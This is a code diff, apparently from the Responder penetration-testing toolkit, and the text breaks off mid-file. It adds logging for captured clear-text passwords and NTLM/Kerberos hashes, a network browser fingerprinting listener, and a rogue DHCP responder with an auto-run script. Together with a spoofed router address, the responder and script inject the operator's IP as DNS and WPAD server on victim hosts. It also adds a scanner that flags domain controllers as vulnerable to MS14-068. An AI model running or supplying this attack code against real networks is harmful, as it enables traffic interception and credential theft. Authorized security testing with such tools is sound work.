+		self.LogDir = os.path.join(self.ResponderPATH, 'logs')
+
+		if not os.path.exists(self.LogDir):
+			os.mkdir(self.LogDir)
+
+		self.SessionLogFile      = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog'))
+		self.PoisonersLogFile    = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog'))
+		self.AnalyzeLogFile      = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
+
+		self.FTPLog          = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
+		self.IMAPLog         = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
+		self.POP3Log         = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
+		self.HTTPBasicLog    = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
+		self.LDAPClearLog    = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
+		self.SMBClearLog     = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
+		self.SMTPClearLog    = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
+		self.MSSQLClearLog   = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
+
+		self.LDAPNTLMv1Log   = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
+		self.HTTPNTLMv1Log   = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
+		self.HTTPNTLMv2Log   = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt')
+		self.KerberosLog     = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt')
+		self.MSSQLNTLMv1Log  = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt')
+		self.MSSQLNTLMv2Log  = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt')
+		self.SMBNTLMv1Log    = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt')
+		self.SMBNTLMv2Log    = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt')
+		self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt')
+		self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt')
+
+		# HTTP Options
+		self.Serve_Exe	      = self.toBool(config.get('HTTP Server', 'Serve-Exe'))
+		self.Serve_Always     = self.toBool(config.get('HTTP Server', 'Serve-Always'))
+		self.Serve_Html       = self.toBool(config.get('HTTP Server', 'Serve-Html'))
+		self.Html_Filename    = config.get('HTTP Server', 'HtmlFilename')
+		self.Exe_Filename     = config.get('HTTP Server', 'ExeFilename')
+		self.Exe_DlName       = config.get('HTTP Server', 'ExeDownloadName')
+		self.WPAD_Script      = config.get('HTTP Server', 'WPADScript')
+		self.HtmlToInject     = config.get('HTTP Server', 'HtmlToInject')
+
+		if not os.path.exists(self.Html_Filename):
+			print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
+
+		if not os.path.exists(self.Exe_Filename):
+			print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
+
+		# SSL Options
+		self.SSLKey  = config.get('HTTPS Server', 'SSLKey')
+		self.SSLCert = config.get('HTTPS Server', 'SSLCert')
+
+		# Respond to hosts
+		self.RespondTo         = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
+		self.RespondToName     = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])
+		self.DontRespondTo     = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
+		self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
+
+		# CLI options
+		self.LM_On_Off       = options.LM_On_Off
+		self.WPAD_On_Off     = options.WPAD_On_Off
+		self.Wredirect       = options.Wredirect
+		self.NBTNSDomain     = options.NBTNSDomain
+		self.Basic           = options.Basic
+		self.Finger_On_Off   = options.Finger
+		self.Interface       = options.Interface
+		self.Force_WPAD_Auth = options.Force_WPAD_Auth
+		self.Upstream_Proxy  = options.Upstream_Proxy
+		self.AnalyzeMode     = options.Analyze
+		self.Verbose         = options.Verbose
+		self.CommandLine     = str(sys.argv)
+
+		if self.HtmlToInject == None:
+			self.HtmlToInject = ''
+
+		self.Bind_To = utils.FindLocalIP(self.Interface)
+
+		self.IP_aton         = socket.inet_aton(self.Bind_To)
+		self.Os_version      = sys.platform
+
+		# Set up Challenge
+		self.NumChal = config.get('Responder Core', 'Challenge')
+
+		if len(self.NumChal) is not 16:
+			print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
+			sys.exit(-1)
+
+		self.Challenge = ""
+		for i in range(0, len(self.NumChal),2):
+			self.Challenge += self.NumChal[i:i+2].decode("hex")
+
+		# Set up logging
+		logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+		logging.warning('Responder Started: %s' % self.CommandLine)
+		logging.warning('Responder Config: %s' % str(self))
+
+		Formatter = logging.Formatter('%(asctime)s - %(message)s')
+		PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
+		ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
+		PLog_Handler.setLevel(logging.INFO)
+		ALog_Handler.setLevel(logging.INFO)
+		PLog_Handler.setFormatter(Formatter)
+		ALog_Handler.setFormatter(Formatter)
+
+		self.PoisonersLogger = logging.getLogger('Poisoners Log')
+		self.PoisonersLogger.addHandler(PLog_Handler)
+
+		self.AnalyzeLogger = logging.getLogger('Analyze Log')
+		self.AnalyzeLogger.addHandler(ALog_Handler)
+
+def init():
+	global Config
+	Config = Settings()

tools/BrowserListener.py

@@ -0,0 +1,158 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys, os
+import socket
+import thread
+import struct
+import time
+
+BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, BASEDIR)
+
+from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
+from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
+from threading import Lock
+from utils import *
+
+def ParseRoles(data):
+
+	if len(data) != 4:
+		return ''
+
+	AllRoles = {
+		'Workstation':           (ord(data[0]) >> 0) & 1,
+		'Server':                (ord(data[0]) >> 1) & 1,
+		'SQL':                   (ord(data[0]) >> 2) & 1,
+		'Domain Controller':     (ord(data[0]) >> 3) & 1,
+		'Backup Controller':     (ord(data[0]) >> 4) & 1,
+		'Time Source':           (ord(data[0]) >> 5) & 1,
+		'Apple':                 (ord(data[0]) >> 6) & 1,
+		'Novell':                (ord(data[0]) >> 7) & 1,
+		'Member':                (ord(data[1]) >> 0) & 1,
+		'Print':                 (ord(data[1]) >> 1) & 1,
+		'Dialin':                (ord(data[1]) >> 2) & 1,
+		'Xenix':                 (ord(data[1]) >> 3) & 1,
+		'NT Workstation':        (ord(data[1]) >> 4) & 1,
+		'WfW':                   (ord(data[1]) >> 5) & 1,
+		'Unused':                (ord(data[1]) >> 6) & 1,
+		'NT Server':             (ord(data[1]) >> 7) & 1,
+		'Potential Browser':     (ord(data[2]) >> 0) & 1,
+		'Backup Browser':        (ord(data[2]) >> 1) & 1,
+		'Master Browser':        (ord(data[2]) >> 2) & 1,
+		'Domain Master Browser': (ord(data[2]) >> 3) & 1,
+		'OSF':                   (ord(data[2]) >> 4) & 1,
+		'VMS':                   (ord(data[2]) >> 5) & 1,
+		'Windows 95+':           (ord(data[2]) >> 6) & 1,
+		'DFS':                   (ord(data[2]) >> 7) & 1,
+		'Local':                 (ord(data[3]) >> 6) & 1,
+		'Domain Enum':           (ord(data[3]) >> 7) & 1,
+	}
+
+	#print 'Workstation :              ',  AllRoles['Workstation']
+	#print 'Server :                   ',  AllRoles['Server']
+	#print 'SQL :                      ',  AllRoles['SQL']
+	#print 'Domain Controller :        ',  AllRoles['Domain Controller']
+	#print 'Backup Controller :        ',  AllRoles['Backup Controller']
+	#print 'Time Source :              ',  AllRoles['Time Source']
+	#print 'Apple :                    ',  AllRoles['Apple']
+	#print 'Novell :                   ',  AllRoles['Novell']
+	#print 'Member :                   ',  AllRoles['Member']
+	#print 'Print :                    ',  AllRoles['Print']
+	#print 'Dialin :                   ',  AllRoles['Dialin']
+	#print 'Xenix :                    ',  AllRoles['Xenix']
+	#print 'NT Workstation :           ',  AllRoles['NT Workstation']
+	#print 'WfW :                      ',  AllRoles['WfW']
+	#print 'Unused :                   ',  AllRoles['Unused']
+	#print 'NT Server :                ',  AllRoles['NT Server']
+	#print 'Potential Browser :        ',  AllRoles['Potential Browser']
+	#print 'Backup Browser :           ',  AllRoles['Backup Browser']
+	#print 'Master Browser :           ',  AllRoles['Master Browser']
+	#print 'Domain Master Browser :    ',  AllRoles['Domain Master Browser']
+	#print 'OSF :                      ',  AllRoles['OSF']
+	#print 'VMS :                      ',  AllRoles['VMS']
+	#print 'Windows 95+ :              ',  AllRoles['Windows 95+']
+	#print 'DFS :                      ',  AllRoles['DFS']
+	#print 'Local :                    ',  AllRoles['Local']
+	#print 'Domain Enum :              ',  AllRoles['Domain Enum']
+
+	Roles = []
+	for k,v in AllRoles.iteritems():
+		if v == 1:
+			Roles.append(k)
+
+	return ', '.join(Roles)
+
+class BrowserListener(BaseRequestHandler):
+
+	def handle(self):
+		#try:
+			data, socket = self.request
+
+			lock = Lock()
+			lock.acquire()
+
+			DataOffset    = struct.unpack('<H',data[139:141])[0]
+			BrowserPacket = data[82+DataOffset:]
+			ReqType       = RequestType(BrowserPacket[0])
+
+			Domain = Decode_Name(data[49:81])
+			Name   = Decode_Name(data[15:47])
+			Role1  = NBT_NS_Role(data[45:48])
+			Role2  = NBT_NS_Role(data[79:82])
+			Fprint = WorkstationFingerPrint(data[190:192])
+			Roles  = ParseRoles(data[192:196])
+
+			print text("[BROWSER] Request Type : %s" % ReqType)
+			print text("[BROWSER] Address      : %s" % self.client_address[0])
+			print text("[BROWSER] Domain       : %s" % Domain)
+			print text("[BROWSER] Name         : %s" % Name)
+			print text("[BROWSER] Main Role    : %s" % Role1)
+			print text("[BROWSER] 2nd Role     : %s" % Role2)
+			print text("[BROWSER] Fingerprint  : %s" % Fprint)
+			print text("[BROWSER] Role List    : %s" % Roles)
+
+			RAPThisDomain(self.client_address[0], Domain)
+
+			lock.release()
+
+		#except Exception:
+		#	pass
+
+
+class ThreadingUDPServer(ThreadingMixIn, UDPServer):
+	def server_bind(self):
+		self.allow_reuse_address = 1
+		#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
+		UDPServer.server_bind(self)
+
+def serve_thread_udp_broadcast(host, port, handler):
+	try:
+		server = ThreadingUDPServer(('', port), handler)
+		server.serve_forever()
+	except:
+		print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
+
+if __name__ == "__main__":
+	try:
+		print "Listening for BROWSER datagrams..."
+		thread.start_new(serve_thread_udp_broadcast,('', 138,  BrowserListener))
+
+		while True:
+			time.sleep(1)
+
+	except KeyboardInterrupt:
+		sys.exit("\r Exiting...")

tools/DHCP.py

@@ -0,0 +1,342 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import struct
+import socket
+import re
+import optparse
+import ConfigParser
+import os
+
+BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, BASEDIR)
+from odict import OrderedDict
+from packets import Packet
+from utils import *
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
+parser.add_option('-I', '--interface',  action="store",      help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+parser.add_option('-d', '--dnsname',    action="store",      help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
+parser.add_option('-r', '--router',     action="store",      help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
+parser.add_option('-p', '--primary',    action="store",      help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
+parser.add_option('-s', '--secondary',  action="store",      help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
+parser.add_option('-n', '--netmask',    action="store",      help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
+parser.add_option('-w', '--wpadserver', action="store",      help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
+parser.add_option('-S',                 action="store_true", help="Spoof the router ip address",dest="Spoof")
+parser.add_option('-R',                 action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
+options, args = parser.parse_args()
+
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+if options.Interface is None:
+	print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
+	exit(-1)
+
+if options.RouterIP is None:
+	print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
+	exit(-1)
+
+if options.DNSIP is None:
+	print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
+	exit(-1)
+
+if options.DNSIP2 is None:
+	print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
+	exit(-1)
+
+
+print '#############################################################################'
+print '##                       DHCP INFORM TAKEOVER 0.2                          ##'
+print '##                                                                         ##'
+print '##        By default, this script will only inject a new DNS/WPAD          ##'
+print '##                server to a Windows <= XP/2003 machine.                  ##'
+print '##                                                                         ##'
+print '##     To inject a DNS server/domain/route on a Windows >= Vista and       ##'
+print '##               any linux box, use -R (can be noisy)                      ##'
+print '##                                                                         ##'
+print '##   Use `RespondTo` setting in Responder.conf for in-scope targets only.  ##'
+print '#############################################################################'
+print ''
+print color('[*]', 2, 1), 'Listening for events...'
+
+config = ConfigParser.ConfigParser()
+config.read(os.path.join(BASEDIR,'Responder.conf'))
+RespondTo           = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
+DontRespondTo       = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
+Interface           = options.Interface
+Responder_IP        = FindLocalIP(Interface)
+ROUTERIP            = options.RouterIP
+NETMASK             = options.Netmask
+DHCPSERVER          = Responder_IP
+DNSIP               = options.DNSIP
+DNSIP2              = options.DNSIP2
+DNSNAME             = options.DNSNAME
+WPADSRV             = options.WPAD.strip() + "\\n"
+Spoof               = options.Spoof
+Respond_To_Requests = options.Respond_To_Requests
+
+if Spoof:
+	DHCPSERVER = ROUTERIP
+
+##### IP Header #####
+class IPHead(Packet):
+	fields = OrderedDict([
+		("Version",           "\x45"),
+		("DiffServices",      "\x00"),
+		("TotalLen",          "\x00\x00"),
+		("Ident",             "\x00\x00"),
+		("Flags",             "\x00\x00"),
+		("TTL",               "\x40"),
+		("Protocol",          "\x11"),
+		("Checksum",          "\x00\x00"),
+		("SrcIP",             ""),
+		("DstIP",             ""),
+	])
+
+class UDP(Packet):
+	fields = OrderedDict([
+		("SrcPort",           "\x00\x43"),
+		("DstPort",           "\x00\x44"),
+		("Len",               "\x00\x00"),
+		("Checksum",          "\x00\x00"),
+		("Data",              "\x00\x00"),
+	])
+
+	def calculate(self):
+		self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
+
+class DHCPACK(Packet):
+	fields = OrderedDict([
+		("MessType",          "\x02"),
+		("HdwType",           "\x01"),
+		("HdwLen",            "\x06"),
+		("Hops",              "\x00"),
+		("Tid",               "\x11\x22\x33\x44"),
+		("ElapsedSec",        "\x00\x00"),
+		("BootpFlags",        "\x00\x00"),
+		("ActualClientIP",    "\x00\x00\x00\x00"),
+		("GiveClientIP",      "\x00\x00\x00\x00"),
+		("NextServerIP",      "\x00\x00\x00\x00"),
+		("RelayAgentIP",      "\x00\x00\x00\x00"),
+		("ClientMac",         "\xff\xff\xff\xff\xff\xff"),
+		("ClientMacPadding",  "\x00" *10),
+		("ServerHostname",    "\x00" * 64),
+		("BootFileName",      "\x00" * 128),
+		("MagicCookie",       "\x63\x82\x53\x63"),
+		("DHCPCode",          "\x35"),              #DHCP Message
+		("DHCPCodeLen",       "\x01"),
+		("DHCPOpCode",        "\x05"),              #Msgtype(ACK)
+		("Op54",              "\x36"),
+		("Op54Len",           "\x04"),
+		("Op54Str",           ""),                  #DHCP Server
+		("Op51",              "\x33"),
+		("Op51Len",           "\x04"),
+		("Op51Str",           "\x00\x01\x51\x80"),  #Lease time, 1 day
+		("Op1",               "\x01"),
+		("Op1Len",            "\x04"),
+		("Op1Str",            ""),                  #Netmask
+		("Op15",              "\x0f"),
+		("Op15Len",           "\x0e"),
+		("Op15Str",           ""),                  #DNS Name
+		("Op3",               "\x03"),
+		("Op3Len",            "\x04"),
+		("Op3Str",            ""),                  #Router
+		("Op6",               "\x06"),
+		("Op6Len",            "\x08"),
+		("Op6Str",            ""),                  #DNS Servers
+		("Op252",             "\xfc"),
+		("Op252Len",          "\x04"),
+		("Op252Str",          ""),                  #Wpad Server
+		("Op255",             "\xff"),
+		("Padding",           "\x00"),
+	])
+
+	def calculate(self):
+		self.fields["Op54Str"]  = socket.inet_aton(DHCPSERVER)
+		self.fields["Op1Str"]   = socket.inet_aton(NETMASK)
+		self.fields["Op3Str"]   = socket.inet_aton(ROUTERIP)
+		self.fields["Op6Str"]   = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
+		self.fields["Op15Str"]  = DNSNAME
+		self.fields["Op252Str"] = WPADSRV
+		self.fields["Op15Len"]  = struct.pack(">b",len(str(self.fields["Op15Str"])))
+		self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
+
+class DHCPInformACK(Packet):
+	fields = OrderedDict([
+		("MessType",          "\x02"),
+		("HdwType",           "\x01"),
+		("HdwLen",            "\x06"),
+		("Hops",              "\x00"),
+		("Tid",               "\x11\x22\x33\x44"),
+		("ElapsedSec",        "\x00\x00"),
+		("BootpFlags",        "\x00\x00"),
+		("ActualClientIP",    "\x00\x00\x00\x00"),
+		("GiveClientIP",      "\x00\x00\x00\x00"),
+		("NextServerIP",      "\x00\x00\x00\x00"),
+		("RelayAgentIP",      "\x00\x00\x00\x00"),
+		("ClientMac",         "\xff\xff\xff\xff\xff\xff"),
+		("ClientMacPadding",  "\x00" *10),
+		("ServerHostname",    "\x00" * 64),
+		("BootFileName",      "\x00" * 128),
+		("MagicCookie",       "\x63\x82\x53\x63"),
+		("Op53",              "\x35\x01\x05"),      #Msgtype(ACK)
+		("Op54",              "\x36"),
+		("Op54Len",           "\x04"),
+		("Op54Str",           ""),                  #DHCP Server
+		("Op1",               "\x01"),
+		("Op1Len",            "\x04"),
+		("Op1Str",            ""),                  #Netmask
+		("Op15",              "\x0f"),
+		("Op15Len",           "\x0e"),
+		("Op15Str",           ""),                  #DNS Name
+		("Op3",               "\x03"),
+		("Op3Len",            "\x04"),
+		("Op3Str",            ""),                  #Router
+		("Op6",               "\x06"),
+		("Op6Len",            "\x08"),
+		("Op6Str",            ""),                  #DNS Servers
+		("Op252",             "\xfc"),
+		("Op252Len",          "\x04"),
+		("Op252Str",          ""),                  #Wpad Server.
+		("Op255",             "\xff"),
+	])
+
+	def calculate(self):
+		self.fields["Op54Str"]  = socket.inet_aton(DHCPSERVER)
+		self.fields["Op1Str"]   = socket.inet_aton(NETMASK)
+		self.fields["Op3Str"]   = socket.inet_aton(ROUTERIP)
+		self.fields["Op6Str"]   = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
+		self.fields["Op15Str"]  = DNSNAME
+		self.fields["Op252Str"] = WPADSRV
+		self.fields["Op15Len"]  = struct.pack(">b",len(str(self.fields["Op15Str"])))
+		self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
+
+def SpoofIP(Spoof):
+	return ROUTERIP if Spoof else Responder_IP
+
+def RespondToThisIP(ClientIp):
+
+	if ClientIp.startswith('127.0.0.'):
+		return False
+
+	if len(RespondTo) and ClientIp not in RespondTo:
+		return False
+
+	if ClientIp in RespondTo or RespondTo == []:
+		if ClientIp not in DontRespondTo:
+			return True
+
+	return False
+
+def IsUDP(data):
+	return True if data[0][23:24] == "\x11" else False
+
+def ParseSrcDSTAddr(data):
+	SrcIP = socket.inet_ntoa(data[0][26:30])
+	DstIP = socket.inet_ntoa(data[0][30:34])
+	SrcPort = struct.unpack('>H',data[0][34:36])[0]
+	DstPort = struct.unpack('>H',data[0][36:38])[0]
+	return SrcIP, SrcPort, DstIP, DstPort
+
+def FindIP(data):
+	IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
+	return ''.join(IP[0:4])
+
+def ParseDHCPCode(data):
+	PTid        = data[4:8]
+	Seconds     = data[8:10]
+	CurrentIP   = socket.inet_ntoa(data[12:16])
+	RequestedIP = socket.inet_ntoa(data[16:20])
+	MacAddr     = data[28:34]
+	MacAddrStr  = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
+	OpCode      = data[242:243]
+	RequestIP   = data[245:249]
+
+	# DHCP Inform
+	if OpCode == "\x08": 
+		IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
+		Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
+								GiveClientIP=socket.inet_aton("0.0.0.0"), \
+								NextServerIP=socket.inet_aton("0.0.0.0"), \
+								RelayAgentIP=socket.inet_aton("0.0.0.0"), \
+								ElapsedSec=Seconds)
+
+		Packet.calculate()
+		Buffer = UDP(Data = Packet)
+		Buffer.calculate()
+		SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
+
+		return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
+
+	# DHCP Request
+	if OpCode == "\x03" and Respond_To_Requests:
+		IP = FindIP(data)
+		if IP:
+			IPConv = socket.inet_ntoa(IP)
+			if RespondToThisIP(IPConv):
+				IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
+				Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
+				Packet.calculate()
+
+				Buffer = UDP(Data = Packet)
+				Buffer.calculate()
+
+				SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
+
+				return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
+
+	# DHCP Discover
+	if OpCode == "\x01" and Respond_To_Requests:
+		IP = FindIP(data)
+		if IP:
+			IPConv = socket.inet_ntoa(IP)
+			if RespondToThisIP(IPConv):
+				IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
+				Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
+				Packet.calculate()
+
+				Buffer = UDP(Data = Packet)
+				Buffer.calculate()
+
+				SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
+
+				return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
+
+def SendDHCP(packet,Host):
+	s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+	s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+	s.sendto(packet, Host)
+
+if __name__ == "__main__":
+	s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+	s.bind((Interface, 0x0800))
+
+	while True:
+		try:
+			data = s.recvfrom(65535)
+			if IsUDP(data):
+				SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
+
+				if SrcPort == 67 or DstPort == 67:
+					ret = ParseDHCPCode(data[0][42:])
+					if ret:
+						print text("[DHCP] %s" % ret)
+
+		except KeyboardInterrupt:
+			sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
+

tools/DHCP_Auto.sh

@@ -0,0 +1,62 @@
+#!/bin/bash
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+# This script will try to auto-detect network parameters
+# to run the rogue DHCP server, to inject only your IP
+# address as the primary DNS server and WPAD server and
+# leave everything else normal.
+
+if [ -z $1 ]; then
+	echo "usage: $0 <interface>"
+	exit
+fi
+
+if [ $EUID -ne 0 ]; then
+	echo "Must be run as root."
+	exit
+fi
+
+if [ ! -d "/sys/class/net/$1" ]; then
+	echo "Interface does not exist."
+	exit
+fi
+
+INTF=$1
+IPADDR=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $3}'`
+NETMASK=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $7}'`
+DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
+DNS1=$IPADDR
+DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
+ROUTER=`/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'`
+WPADSTR="http://$IPADDR/wpad.dat"
+if [ -z "$DOMAIN" ]; then
+	DOMAIN="  "
+fi
+
+echo "Running with parameters:"
+echo "INTERFACE: $INTF"
+echo "IP ADDR: $IPADDR"
+echo "NETMAST: $NETMASK"
+echo "ROUTER IP: $ROUTER"
+echo "DNS1 IP: $DNS1"
+echo "DNS2 IP: $DNS2"
+echo "WPAD: $WPADSTR"
+echo ""
+
+
+echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
+python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

tools/FindSMB2UPTime.py

@@ -0,0 +1,72 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import os
+import datetime
+import struct
+import socket
+
+sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
+from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
+
+def GetBootTime(data):
+    Filetime = int(struct.unpack('<q',data)[0])
+    t = divmod(Filetime - 116444736000000000, 10000000)
+    time = datetime.datetime.fromtimestamp(t[0])
+    return time, time.strftime('%Y-%m-%d %H:%M:%S')
+
+
+def IsDCVuln(t):
+    Date = datetime.datetime(2014, 11, 17, 0, 30)
+    if t[0] < Date:
+       print "DC is up since:", t[1]
+       print "This DC is vulnerable to MS14-068"
+    else:
+       print "DC is up since:", t[1]
+
+def NbtLen(data):
+    Len = struct.pack(">i", len(data))
+    return Len
+
+def run(host):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect(host)  
+    s.settimeout(5) 
+
+    Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
+    Nego = SMB2Nego(Data = SMB2NegoData())
+    Nego.calculate()
+
+    Packet = str(Header)+str(Nego)
+    Buffer = NbtLen(Packet)+Packet
+    s.send(Buffer)
+
+    try:
+        data = s.recv(1024)
+        if data[4:5] == "\xff":
+           print "This host doesn't support SMBv2" 
+        if data[4:5] == "\xfe":
